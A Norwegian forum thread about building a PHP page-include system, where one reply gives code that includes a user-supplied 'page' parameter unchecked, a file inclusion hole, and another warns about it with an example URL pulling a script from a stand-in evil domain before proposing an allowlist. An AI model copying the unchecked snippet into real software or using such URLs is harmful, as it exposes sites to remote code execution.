Gå til innhold

Anbefalte innlegg

Jeg lurer på om noen kan hjelpe meg.

Jeg skal ha et include system på siden min. Eks:http://mydomain.no/index.php?id=noerartno

 

Dette skal jeg ha for å spare plass+at det er lettere å skifte design.

Da lurer jeg på:

 

Skal jeg "kopiere" indexen, sette inn include's på de og så skifte navn til index.php?id=noerartno?

 

Skjønte noen det?

Hjelp!

Lenke til kommentar
Videoannonse
Annonse

det enkleste er jo å si at du f eks har hovedfilen index.php

Der du vil at innholdet skal inkluderes fra andre filer (som ie en tabellcelle, skrver du da


<?php

$page = $_GET['page'];

if(file_exists($page)) {

include($page);

}

?>

Da lager du bare en fil for hver side du vil ha, f eks home, bilde, linker osv, og skriver http://mydomain.com/mysite/index.php?page=home

så inkluderes innholdet i filen home. Du kan selvfølgelig også bruke $page.php, slik at du får en mer oversiktelig filstruktur på siden. Ofte lar jeg bare sidene hete home osv, uten extensions. Skal du ha oen flerne script i sidene kan det være greit å kalle dem .php, slik at apache uansett parser dem om noen skulle få lyst til å gå dirkete til sidene.

Lenke til kommentar

Men du bør tenke litt sikkerhet før du gjør det på den overnevnte måten!

I det tilfellet kan en slem person lett inkludere slemme script, f.eks slik:

http://mydomain.com/mysite/index.php?page=http://slemtdomene.ond/evil.php

Ikke bra. Derfor må du i index ha en liste(array) over hvilke sider som er lovlige, f.eks:


<?php 

$page = $_GET['page']; 



$lovlige = array ('index.php', 'noerartno.php'); 

 if (in_array($page, $lovlige)) { 

    include($page); 

 } 

 else { 

    include('index.php'); 

 } 

?> 

Lenke til kommentar

En annen måte å gjøre det: :wink:

 

<?php

$page = $_GET['page'];

switch ($page) {

case index:

include("index.php");

break;

case noerartno:

include("noerartno.php");

break;

default:

include("index.php");

break;

}

?>

 

Det gir deg også muligheten for å mekke litt kode for hver $page

... bare et forslag :)

Lenke til kommentar
En annen måte å gjøre det: :wink:

 

<?php

$page = $_GET['page'];

switch ($page) {

case index:

include("index.php");

break;

case noerartno:

include("noerartno.php");

break;

default:

include("index.php");

break;

}

?>

 

Det gir deg også muligheten for å mekke litt kode for hver $page

... bare et forslag :)

 

Jepp, men siden arrays i php er dynamiske, ville jeg nok foretrekke å bruke godkjenning vha. array. Da har du også muligheten til å legge til lovlige sider programmatisk, f.eks. fra en database. :wink:

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...